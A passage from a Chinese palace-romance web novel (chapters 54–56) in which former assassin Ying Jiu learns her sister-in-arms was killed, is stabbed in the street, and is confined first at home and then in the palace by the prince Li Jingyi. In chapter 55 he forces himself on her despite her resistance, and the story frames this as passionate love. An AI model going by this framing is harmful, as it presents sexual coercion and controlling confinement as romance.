李京熠双手一紧,将她牢牢圈在怀里,下巴抵在她的额头,像是在安抚,“小九,这不是你该操心的事,你只要知道,我不会杀了永安侯。但他,也绝不会毫发无损地走出天牢。”
影九听得身上一阵寒凉,连指尖都在发凉。此事关乎朝堂,她不好再开口多言,可一想到今日李灵那副模样,她还是硬着头皮追问一句:“永安侯……真的不会有性命之忧?我答应过灵儿,不会让她为此忧心太过。”
李京熠闻言,嘴角噙着一抹意味深长的笑,低头在她眉眼处落下一吻,“你放心。就算他想死,我也不会让他们轻易解脱。更何况……”说到这里,他顿了顿,眼中闪过一丝睥睨天下的冷傲,“朝堂之上,他还不配做我的敌人。”
李京熠的话说得模棱两可,影九并不能从中得到一个确切的答案。
他有他的宏图大业,可如今,她只想活命。
54. 第54章
李京熠不允许影九出府,但事关朝堂,影九不好借由他人之口去传达永安侯的事。于是,她写了封信,派人送去侯府。
不曾想,影九等来的不是回信,而是风风火火赶来的李灵。
昨日还愁云惨淡的人,今日再到王府,脸上竟挂着明媚的笑容,人未至,声先到。
“嫂嫂!”
影九刚喝完苦涩的汤药,正拿着帕子擦拭嘴角,闻声,转头往门外看去。
“灵儿,你怎么这个时候来了?”影九放下帕子,眉宇间那抹愁绪却怎么也化不开。
李灵几步走到她跟前,脸上的笑意藏也藏不住,“嫂嫂,收到你的信,我便安心了!其余什么都不是事儿!”
影九笑笑,眉宇间那一抹淡淡的忧愁却更重了,“可我在信里与你说,永安侯会被李京熠如何处置,我尚不清楚。”
“我不在乎。”李灵倒是很看得开,眸光清澈而坚定,“只要远之没有性命之忧,无论是被贬,还是没收家产,我都会陪着他。”
影九望着眼前这个娇生惯养的公主,笑着摇摇头,“可你是李京熠的亲妹妹,是尊贵的五公主,若永安侯真被贬为庶人,你也要跟着他去吃苦吗?”
李灵没有直接回答影九的话,而是握住影九微凉的手,反问道:“那嫂嫂呢?若是有朝一日,皇兄落了难,你肯定也会与他共进退,不是吗?”
听着李灵天真的话语,影九忍不住笑了笑。
可那笑容里,满是苦涩。
若是李京熠有难,那么唯一遮蔽她的庇护所也没有了。换言之,她一定会遭到影阁的追杀。
如今不知怎么的,她总觉得自己变得尤其胆小。以前想杀李京熠没杀得了,现如今,自我了断,竟也不敢。
终究是安生日子过得太久了,开始变得畏首畏尾。
“嫂嫂?”
李灵见她神色恍惚,捕捉到了她眼底的忧伤,便下意识往外头瞧了瞧,随即压低声音道:“嫂嫂,今日天光甚好,我带你出去走走吧?”
影九摇摇头,指尖摩挲着袖口的暗纹,语气中透着无奈,“你知道你皇兄是个什么性子,他说眼下城里乱得很,不让我出去。”
李灵闻言,突然想起上次发生的事,心里有些后怕。要不是皇兄看在自己是他亲妹妹的面子上,估计是要被剥一层皮。
既然皇兄不让嫂嫂出门,那么李灵也不强求。
她只轻叹一口气,换了个换题,“嫂嫂,这些日子,你身子好些了吗?”
影九点点头,抬手抚向自己的脸颊,脸上勉强露出一丝笑意,“你瞧瞧,我的气色已经好很多了。”
李灵张了张嘴,似乎是想问些什么,但又像是怕触及她的伤心事,话到嘴边,终究还是全都咽了下去,“好些了便好,那嫂嫂你安心歇着,我先走了。若是你想要外头的什么稀奇玩意儿,你尽管告诉我,下回我来时,便带来给你。”
影九点头,目送李灵离去。
-
入秋之后,北苍城的天便愈发阴沉。凛冽的寒风刮过,带着刺骨的寒意,让人恍然置身于冬日里似的。
影九连走出广寒院都很少,大多时候都在广寒院里看书。
李京熠回来的时间也变少了,有时候,接连好几天都不再踏入王府大门。
影九无意去打探皇城之中的消息,李京熠也没有派人回来传话。她倒是觉得这样的日子未尝不可,只是一点,不让她出门去外头,真是闷得很。
一日,窗外的枯叶被风吹得簌簌作响,影九望着那副萧瑟的景象,心中愈发烦闷。她再也坐不住,好说歹说说服了落霞,于是俩人乔装打扮一番,从王府后门偷偷溜了出去。
她心中盘算着快去快回,只要行事谨慎,便不会传到李京熠耳朵里去。
因着国丧,街道上的行人寥寥,加之天公不作美,显得街道上很是冷清萧条。
影九带着落霞漫无目的地往前走,双眼警惕地打量四处,丝毫不敢放松。
原以为,出门可以游玩一番,可当她真的感受到了这王府外的冷风,才发现是自己把这一切想得太简单了。
从前,她出门是为了见到影阁中人。而如今出门,却是想避开影阁中人。
北苍城中一定还藏有影阁的杀手,但影九并不全都认得。万一这会儿遇上,对方动手的话,可如何是好?
“王妃?”落霞见影九在出神,轻声问道:“您是要买糖人吗?”
“糖人?”影九回过神来,才发现自己正望着晶莹剔透的糖人出神,于是摇摇头,“没有,只是好奇,想看看而已。”
影九抬脚继续往前走,竟不知不觉走到了金缕阁门前。她往里望了一眼,似乎并不见芙蕖的身影。
不过想想也对,那一日,影六是与她一起下山的,她下山的目的便是为了赶到北苍城救芙蕖,想必,她们一定早已回到了影阁。
既然她们有可能已经回去,那么自己还有可能联系到她们吗?又该如何联系呢?
可如今她已是影阁的叛徒,还是不要与她们牵扯上关系比较好,以免连累她们。
影九转身欲走,突然,一个耳熟的声音冷不丁叫住了她。
“夫人!”
那声呼唤如惊雷炸响,影九脚步一顿,猛地回过身去,站在她面前的,是一个戴着素色面纱的女子。
看身形装扮,正是芙蕖。
影九又惊又喜,连忙走近两步,不可置信道:“芙蕖?真的是你?!”
芙蕖的脸上戴着面纱,看不真切她真正的表情,但她眉宇间表现出来的,是挥之不去的忧伤。她那双漆黑的眸子紧紧盯着影九,像是要与她说些什么,可又拼命隐忍着,连垂在身侧的双手都忍不住紧紧攥着。
影九察觉到她的神色不对,将她上下仔细打量一番,忙问道:“你的身子……可全都好了?眼下还要紧吗?”
芙蕖紧攥的拳头在微微颤抖,掩在面纱下苍白的嘴唇张了张,终于发出一丝破碎的声音,“我前两天才下得来床……身子好得差不多了。但是六姐她……”话到嘴边,芙蕖却没接着往下说。
她欲言又止的模样实在是太奇怪,影九走近一步,压低声音,焦急地问:“六姐怎么了?”
芙蕖抬眼,见她一副求知心切的模样,猜测她应是不知道此事,于是强压心底的悲伤,别开脸去,“六姐……被杀了……”
影九听完,心里“咯噔”一声。
几乎是立刻,她便想到李京熠。
除此之外,北苍城中,谁还会与影阁中人有这样的仇恨?
见她脸色惨白,并且未再追问下去,芙蕖接着说道:“是端王……你应该……还不知道吧?”
影九攥紧的拳头在隐隐
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发抖,她突然觉得迎面刮来的风好冷,冷得她打了个寒颤,“是……何时……何时被杀的?”
芙蕖的目光掠过影九,投向远处灰蒙蒙的天空,眼中闪过一丝痛苦与悲愤,“从六姐踏入北苍城的那一刻起,她便落入了别人的算计中。我之所以被放出来,完全是端王故意为之。”说到这里,芙蕖狠狠咬了咬牙,“我是被放出去的饵,端王只等着六姐上钩。六姐才将我从鬼门关拉回来,自己却……”
影九的脑海中一片混沌,她努力回想这段时日李京熠的行踪与言行,却发现他对这一切守口如瓶。
他总是那样深不可测,将所有的情绪与算计都隐藏在那副面具之下。杀影阁中人这等大事,他自然不会透露半分风声给她。
如今骤然听到这个消息,犹如一道晴天霹雳,将她残存的侥幸劈得粉碎。
“你此刻的处境,亦是十分危险。”芙蕖的声音压得更低,带着一丝不易察觉的担忧,“影阁的人陆续往北苍城来,你于影阁而言,已是叛徒。你忤逆阁主的命令,这后果……”她没有说下去,但那未尽之言中的警告意味不言而喻。
影九只觉得一股寒意从脚底直冲天灵盖,下意识地往后退了半步,“你……也会杀我吗?”
芙蕖缓缓摇了摇头,覆在脸上的面纱被风轻轻扬起,露出一截苍白瘦削的下巴。她抬手按住面纱,动作迟缓而沉重,“我的脸受了伤,身上的伤还未好全。待到伤势痊愈,我会离开北苍城。”
“我……”她张了张嘴,话到嘴边,却生生咽了下去。
千言万语,最终都化作了无言的沉默。
芙蕖似乎看穿她的内心,伸出手,轻轻拍拍她的肩,“你自己多加小心,这或许,是我们最后一次见面了。”
影九抬起头,目光与芙蕖交汇,从那双漆黑的眸子里,她看到了自己同样凝重而悲伤的倒影。她用力地点了点头,像是在做最后的告别。
“如今端王只手遮天,他已是朝堂上说一不二的摄政王,权势滔天,手段狠辣。你自己……多加小心。”芙蕖的声音里带着深深的无力,说完这番话,便转身进去了金缕阁里。
影九怔怔地望着金缕阁那幽深的门扉,直到那抹素色身影彻底消失在视线尽头,才缓缓转过身来。
秋风卷起地上的枯叶,在她脚边打着旋儿,发出簌簌的悲鸣,仿佛在为逝去的亡魂哀悼。
一直默默站在不远处的落霞这才走上前来,见她脸色惨白如纸,眼中还残留着未散的惊惶,便压低了声音,小心翼翼地问道:“王妃,咱们……现在回去吧?”
影九木然地点点头。
是啊,她该赶紧回去。
她外出的消息一定会被潜伏在北苍城内的影阁之人知道,如今这城中,并不安全。
她深吸一口气,强压下心头的惊涛骇浪,转身欲走。
街道上依旧萧条冷清,行人寥寥。
可就在这空旷的视野中,一个戴着宽大斗笠的男子却显得格外突兀。他逆着风,步履急促而沉重,大步流星地朝影九这边逼近。
影九的心猛地一沉,下意识地想要后退,可一切都太晚了。
那斗笠之下,是一双毫无波澜的死寂双眼。寒光乍现,一抹冰冷的锋锐划破空气,快得让人来不及眨眼。
那一把淬着寒光的匕首,精准无比地刺入了她的心口。
55. 第55章
意识回笼的那一刻,剧痛如潮水般涌来,瞬间淹没了影九的感官。
她费力地撑起沉重的眼皮,模糊的视线逐渐清晰,入目是熟悉的床幔。
自己这是在广寒院中。
落霞趴在床沿,显然是累极了才睡着的。
影九撑着身子想要爬起来,但浑身无力,心口处格外疼痛,疼得她忍不住闷哼一声。
这细微的动作吵醒了落霞,她猛地直起身来,在看到影九睁开眼睛时,顿时欣喜万分,声音里都带着哭腔,“王妃!您终于醒了!”
影九张了张嘴,嗓子干哑,发不出一丁点声音。
落霞见状,赶忙去倒水,随后端着一杯温热的茶水走过来,小心翼翼凑到她嘴边,“王妃,来,慢点儿喝。”
勉强喝下一口水之后,影九觉得身上好受些了,她下意识往门外望了一眼,却并不见李京熠的身影。
落霞放下茶杯,见王妃似乎在寻找什么,循着她的视线望去,门外空空荡荡,什么都没有,不禁疑惑地问道:“王妃,您在找什么?”
影九收回视线,眼底不知不觉染上一层落寞,声音沙哑得厉害,“我昏睡了多久?李京熠……可知道?”
“王妃,您昏睡了整整五日!”落霞一边替她掖好被角,一边宽慰道,“王爷自然是知道的!并且,伤你的那个歹人已被抓住,王爷让您好好休养身子。”说到这里,落霞像是忽然想起什么,刻意放缓语调停顿了一下,“王爷说了,近日公事繁忙,脱不开身。等他得空了,便会回来看您。”
影九闻言,轻叹口气。
心底莫名有一股难以名状的酸涩蔓延,心里有些难受。
但为何难受呢?
是因为自己受伤醒来,李京熠不在身边?
像是有什么东西悄然发生了变化,但究竟是何东西,影九说不清,也道不明。
他将自己带回来,却把她丢在这里,不让她离开,似乎是想让她自生自灭。可是如今这般境地,自己有何理由去怪李京熠呢?
这儿是庇护她一方安宁的地方,但凡踏出王府,她就会死。
她已经尝到了后果,没有理由再试一次。
她闭上眼睛,每呼吸一口,心口处都疼得难受。
落霞见她如此痛苦,忙起身出去叫大夫。
屋子里骤然变得静悄悄的,影九在这样安静的思绪中,胡思乱想起来。
李京熠将她困在这里,如今对她不闻不问。
究竟是自己多想了?还是李京熠真的变了?
又或者,是因为如今局势不同,所以李京熠忙着他的宏图伟业,无法分心照顾她?
影九的内心很矛盾,归根结底,都是因为李京熠。
可她又必须借着李京熠的庇护,才能安稳度日。
落霞领着大夫匆匆进屋,一番望闻问切之后,说是身体以无大碍,但还需好好休养。
这样的话,影九已听过多次,听得耳朵都要起茧子。
待到落霞将大夫送走,影九才幽幽开口:“我醒来的事,你可派人去告诉李京熠?”
落霞赶紧点头,生怕王妃因此忧心,“王妃您放心,奴婢方才已让人去传话。”
“这几日,你可知他在忙什么?”
落霞面露难色,低声道:“王爷的公事,奴婢实在不好去打探。”
影九轻叹一口气,现如今,她是对李京熠一无所知了。
难道,为了逃避影阁追杀,她要一辈子待在王府?
这并非长久之计,影阁的人也不会因此束手无策。李京熠总有松懈的时候,一旦有这样的机会出现,对于影阁而言,便是取她性命的好时机。
自己又还能当缩头乌龟到几时呢?
“王妃,若是您想见王爷,奴婢便让人去请。”落霞见她神色郁郁,小心翼翼地试探道。
影九无力地摆摆手,拒绝了。
她发现自己什么都做不了,就算把李京熠请来,她也做不了任何事,也说不出任何挽留的话。
挽留?
想到这里,影九不禁暗暗发笑。
挽留他做什么?
现如今,她与李京熠之间,又是什么关系呢?
当初回到他身边,是因为孩子。
可孩子已经不存在了,眼下,还有什么理由与他纠缠不清?
-
再见李京熠,是在一个清冷的清晨。
那时候,影九已忘了具体有多少日子未见到他,不禁有些恍惚。
他比以前消瘦许多,人也露出一副疲惫之色。
待他走近,影九甚至能看清他下巴上青色的胡茬,透着几分狼狈与颓唐。
见到李京熠,影九的心里并无半分欢喜,甚至,对他的突然出现有些生气。
李京熠熬了好几日通宵,终于将堆积如山的奏折批阅完毕,来不及合眼休息,便匆匆赶了回来。
日思夜想的人就在眼前,可她那双眼睛里的陌生与疏离,却给了李京熠重重一击。
“小九?”见她已能下床走路,李京熠压下心头的异样,柔声道:“身子可大好了?这几日宫中事务繁忙,我……”
“哗啦”一声,影九面无表情地翻过一页手中的话本,直接截断了他的话。
李京熠一怔,随即在她身侧坐下,试探着伸出手,想去握住她搁在膝头的手。可谁知,指尖才一触及她的肌肤,便被决绝地躲开。
李京熠的手僵在半空,微微一愣。
他深吸一口气,耐着性子柔声问道:“怎么了?我这不是回来了吗?有何委屈,尽管告诉我。”
影九依旧默不作声,仿佛并未听见他的声音。
她是在生气,可究竟为何生气,她自己也说不出个所以然来。
这样使小性子,闹别扭,真是让她矛盾极了。
李京熠注意到她微抿的嘴角,心头微动,忽然像是想起什么,继续好脾气地哄道:“小九是怪我回来晚了?我答应你,以后绝不会这样了。不如这样,我带你去宫里住,你就能日日见到我了,如何?”
闻言,堵在心口的那一团火像是突然爆发了出来,影九猛地抬起头看向他,质问道:“我为何要日日看见你?你以为,是我盼着你回来?你不是有你的江山社稷吗?我与那江山,自然是不能比的。孰轻孰重,我难道不清楚?”
话说出来倒是还好,李京熠就怕她一声不吭,什么事都闷在心里,那才让人难受。
李京熠伸手,这
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次不容她挣扎,大手稳稳地抓住她纤细的手腕,“好了,我知你是在生我的气,要打要骂,都随你,只要你肯开口。”
影九望着他,眼尾悄然泛红,噙在眼角的泪水却倔强地不肯流下,“你别把自己看得那么重,你不在的这些时日,我乐得轻松自在。一见到你,我便头痛欲裂。想来,便是因为见到了你,我才如此不适!”
李京熠闻言,非但不动怒,反而顺势将她揽入怀中,轻笑道:“便是因为此事,小九才不愿见我?”
影九在他怀里剧烈挣扎,恼羞交加,终于忍不住低吼出声:“不仅仅是因为此事,还因为……”话到嘴边,她突然冷冷地将话锋一转,“还因为你杀了六姐!”
李京熠嘴角的笑容骤然僵住,眼底掠过一丝晦暗不明的情绪。
他想起她前些时日私自出府,遇见了一个不该遇见的人。想来,这事便是那人告诉她的。
见李京熠不辩驳,影九猛地一把推开他,随后站起身来,“我不需要你假惺惺的!你如今是只手遮天的摄政王,要什么没有?!何必将我困在这里?你放我出去!我是死是活,都不关你的事!”
李京熠眼底那最后一点强撑的温和终于碎裂,他的眼底闪过一丝毫不掩饰的疲惫,随后缓缓抬起眼帘,那双深邃的眸子里布满了骇人的红血丝,“小九,你知道外面很危险,那一日伤你的人,就是影阁派来的杀手。”
“我知道。”影九退后半步,恰好此时从门外钻进来一阵寒风,吹得她眼睛冰凉干涩,却吹不走她心头的寒气,“所以,你能护得了我多久?将我困在这里,便是为了保护我?”
李京熠缓缓站起身来,浑身一副压迫气势直逼影九。他走近两步,脸上的温柔不复存在,取而代之的,是一片阴沉寒冷,“小九,我的良苦用心,你全都视而不见,是吗?”
影九察觉到李京熠的神色不对,警惕地退后两步,“强扭的瓜不甜,李京熠,何必呢?”
“强扭的瓜,我已经尝过了……”李京熠目光灼灼地盯着她,忽然抛出一句,“可我们曾经也有一个孩子。”
这句话像是一记重锤,狠狠砸在影九最脆弱的神经上。
“不会再有了……”影九攥紧拳头,心虚地不敢去看他,但声音依旧坚韧,“以后绝对不会再有了……”
李京熠的瞳孔骤缩,眼底的暗火瞬间被点燃。她猛地欺身而上,将她死死圈紧在怀里,凑近她耳边低语,声音阴森而寒冷,“是吗?不试试怎么知道?”
影九心头一紧,拔腿就要跑,奈何这次李京熠是动了真格,任凭她努力挣扎,都无济于事。
羞愤与绝望交织,影九又急又气,抬脚去踹他。
李京熠眉头未皱一下,一把扣住她的脚踝,随即揽住她的腰肢,一把将她打横抱起,把她重重扔到床榻之上。
影九疼得闷哼一声,来不及逃走,便被李京熠束缚住了双手。
他的气息滚烫且骇人,带着不容抗拒的占有欲,将她彻底笼罩。影九惊恐地想要呼喊,痛苦的话语却被他尽数封印在唇齿之间。
李京熠红着眼,像是一头被激怒的野兽,凶狠地掠夺着她的气息,不给她丝毫喘息的机会,仿佛要将她揉碎了融入骨血,此生再不与她分离。
56. 第56章
影九醒来时,李京熠已不在她身旁。
她撑着酸痛的身子坐起,见外头的天阴沉得厉害,看不出来此刻是什么时辰。
身子很难受,不仅仅是身体上的,还有心里的。
她缓了好一会儿,才叫落霞进来帮她沐浴。
温热的水氤氲着雾气,却暖不了影九冰凉的指尖。
落霞一边替她擦拭着长发,一边小心翼翼地观察着王妃的脸色,见她心绪平平,便低声禀报道:“王妃,王爷离开时说,让奴婢收拾您的东西,待会儿有人来接您入宫。”
“入宫?”
“是。”落霞应道。
难不成,他认为将她接进宫,就安全了吗?
影阁的杀手会那么笨,翻不过一堵宫墙?还是说,李京熠会对影阁做些什么?
想到这里,影九懊恼自己这矛盾的情绪,先前见到他,竟忘了问。
用过午膳后,接人的马车便停在了王府门前。
这王府里,并没有什么东西是她一定要带走的,于是只让落霞简单收拾了一个小箱子,便上了马车。
马车缓缓行驶在青石板路面上,影九百无聊赖,掀开轿帘往外看。
街道上依然萧条冷清,行人寥寥。
马车行至一处转角时,就在这一瞬,她的余光突然瞥见街角阴影处立着一道身影。
那人身形修长,站在暗处,待到她想要细看时,那个身影却立马消失不见了。
真是奇怪。
那个身影,似乎有些像是副阁主?
可是怎么会呢?副阁主怎会到北苍城来?何事轮得到他亲自动手?
莫不是,他也是来杀她的?为了杀她,影阁竟不惜让副阁主亲自出马?
影九倒宁愿是自己看错了,想多了。
否则,副阁主亲自动手,她还有活路吗?
马车一路晃晃悠悠,最终驶入皇宫。
影九扶着落霞的手下车,眼前的宫阙巍峨耸立,琉璃瓦在阴沉的天色下泛着冷硬的光。
引路的宫女垂首低眉,毕恭毕敬地领着她们穿过重重宫门,最终停在一座偏僻却精致的殿宇前。
“王妃,到了。”
影九抬眸,目光随意扫过四周。
宫殿内陈设奢华无比,却空旷得令人心慌,似乎透着无尽的寒凉。
突然,不知从哪儿窜来一阵穿堂风,寒冷彻骨,冷得影九缩了缩脖子。
落霞眼疾手快,赶忙将手里的斗篷给她披上。
披上斗篷倒是好了一些,但还是有一股寒凉之气顺着脊背往上窜,影九不大喜欢这里。
“王妃,咱们进去吧。”落霞轻声提醒道。
影九不得不迈步跨过高高的门槛,进去之前,她鬼使神差地回头望了一眼。
这儿,只不过是另一座困住她的牢笼罢了,与王府比起来,并没有什么不同。
唯一不同的点,便是进入到皇宫里,她可以知道李京熠在朝堂上的动作。
但就算知道又有何用?既不能以此来威胁他,也无法让他的宏图伟业崩塌。
她只是个失去自由的旁观者罢了。
宫殿里异常冷清,相比起王府,这儿冷清得几乎毫无人情味。
影九独坐了好久,连手中的话本都被翻得索然无味。
直到夜幕降临,华灯初上,影九正打算独自用膳,殿门突然被推开。
李京熠带着一身寒夜露气,急匆匆地走了进来。
影九抬眸望着他,脸上的表情十分平淡,也没有开口说话。
李京熠径直在她对面坐下,目光灼灼地看着她,问:“如何?这儿你可还满意?”
影九摇摇头,声音清冷,“太冷清了,比广寒院还冷清。”
李京熠慢条斯理地用帕子擦了擦手,随后拿起筷子给她夹菜,“慢慢习惯就好了,你到我眼皮子底下待着,我才会踏实些。”
影九抬眸,撞进他那双深不见底的眸子里。有时候,她就是会被李京熠这模棱两可的三言两语而撩拨得心绪难平,胡思乱想。
“踏实?”影九咀嚼着这两个字,语气凉薄,“李京熠,你是在防我,还是在防谁?”
“小九,此事,你大可不必与我装糊涂。”李京熠的声音依旧平静,只是那平静如湖面的语气中,掺杂着一丝疲惫,“近日,北苍城中暗流涌动,影阁的杀手皆往北苍城而来。他们的任务是什么,想必无需我多言?”
影九拿筷子的手微微一顿,心里“咯噔”一声。
“所以你的意思是,把我接入皇城中来,是为了保护我?那些杀手,都是冲着我来的?”
事到如今,为何李京熠将所有的过错推到她身上?他的手里,难道没有攥着几条影阁的人命?
况且,影阁接到的任务,本就是杀李京熠。
“哦?”李京熠的嘴角勾起一抹玩味的笑意,身子微微前倾,压迫感骤然袭来,“小九的意思是,杀手很有可能是冲着我来的?”
这个的理由不算牵强,影九“嗯”了一声,答道:“影阁的杀手之所以到北苍城,本就是为了杀你。”
李京熠眼底的笑意更深,嗓音低沉,“小九知道的,比我想象中要多得多。”
影九紧紧盯着他,一言不发。
“可是,李炎骤然驾崩,现如今,影阁又是领的谁的令?”李京熠紧紧盯着她,仿佛要将她的心思看穿。
影九忽然想起今日进宫时,在街角惊鸿一瞥的那一抹身影。
若真的是副阁主,难道,杀她一个人,真的会如此兴师动众?
可李京熠说得也对,若是影阁的人要杀他,领的谁的令?
更何况,要杀李京熠的人已经死了,若是再将李京熠杀死,岂不是会天下大乱?
无论怎么想,影九都找不到一个确切的理由。
见她愁眉不展,李京熠突然探过身来,温热的大手覆上她冰凉的手背,“想不通就不想了,大不了,我将他们全都杀了。”
李京熠说得轻巧,可不管怎么说,影阁在江湖上的地位不容小觑。朝廷出面剿灭影阁的话,这让江湖人士如何议论朝廷?
但这些疑问到了嘴边,终究还是咽了下去。
她只当李京熠是为
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了安慰她才这么随口一说,并未当真。
晚膳后,李京熠说带她在宫里走走,消消食。
影九本想拒绝,可看着窗外那一堵高墙,居然鬼使神差地答应了。
答应过后,她的表情有些别扭。
李京熠却似未察觉,唇角微扬,屏退了左右宫人,自然而然地牵起她的手,向殿外走去。
夜幕下的皇宫,比白日里更显森严。明明宫中侍从如云,可这一路走来,竟比空旷的王府还要死寂,连风声都被这厚重的宫墙吞噬,压抑得让人喘不过气。
夜风凛冽,卷着透骨的寒意扑面而来,不带一丝温情。
李京熠握紧她冰凉的手,走得很缓慢。
影九借着清冷的月光,转头去看他的侧脸。
这些时日以来,每每见他都是一副疲惫的模样,连眼睛里都少了许多昔日的光彩。既然得到这至高无上的权力之后会这么累,不知李京熠有没有后悔?
察觉到身侧那道久久未曾移开的视线,李京熠脚步微顿,“这么盯着我看,是想从我脸上瞧出朵花儿来?”
影九并未接他的玩笑话,目光依旧仔细在他脸上盘旋。过了好一会儿,才缓缓移开视线,“你与从前不一样了,看起来好像很累,可你一直在硬撑着。”
“你难道不认为,这是我咎由自取?”这句话从李京熠的嘴里说出来,带着一种自嘲的意味。
影九垂眸,仔细感受他掌心传来的温度。她面上没什么表情,语气却骤然冷了几分,“既然你知道是咎由自取,那便最好。”
李京熠哑然失笑,眼底那一阵忧郁却浓得散不开,“我从前并不屑于这些朝堂权术,只想做一个闲散王爷。可如今这一切,都是他逼我的。”
影九一怔,一时间没想到李京熠口中的“他”指的是谁。待仔细思索过后,才恍然回过神来,“他”指的是已驾崩的李炎。
关于这段往事,她虽知晓大概,却未曾深究。
只可惜,自己遇见的不是从前的李京熠,而她自己,或许就是将李京熠逼迫至今的其中一个导火索。
“所以,你不愿被卷进这权力的漩涡……”影九的声音有些发涩,她似乎突然懂得了他的心思,但瞧见他如今的举动,却仍然不明白,“可你终究,还是做出了这样的选择。”
李京熠细细摩挲着她的手背,薄唇微抿,像是被影九说中要害,脸上的情绪更加难看,竟还有一丝悲伤缓缓划过眼底,“很多事,你不明白。”
影九停下脚步,转过身直面着他,目光灼灼,带着一丝逼问的气势,“可你的身边,除了这至高无上的权力,还有别人吗?”
李京熠深邃的眼眸中藏着一丝冰冷,冰冷从眼底倾泻而出,悄无声息地划过影九的脸庞。
他一言不发。
既然李京熠不愿意和盘托出,影九也不勉强。
知道的越多,烦心事越多。
索性,便什么都不要知道好了。
她并不想知道李京熠是否有苦衷,可就算有,那也不是她造成的。影九自私地这样想着,想要将自己从这些事里面择干净。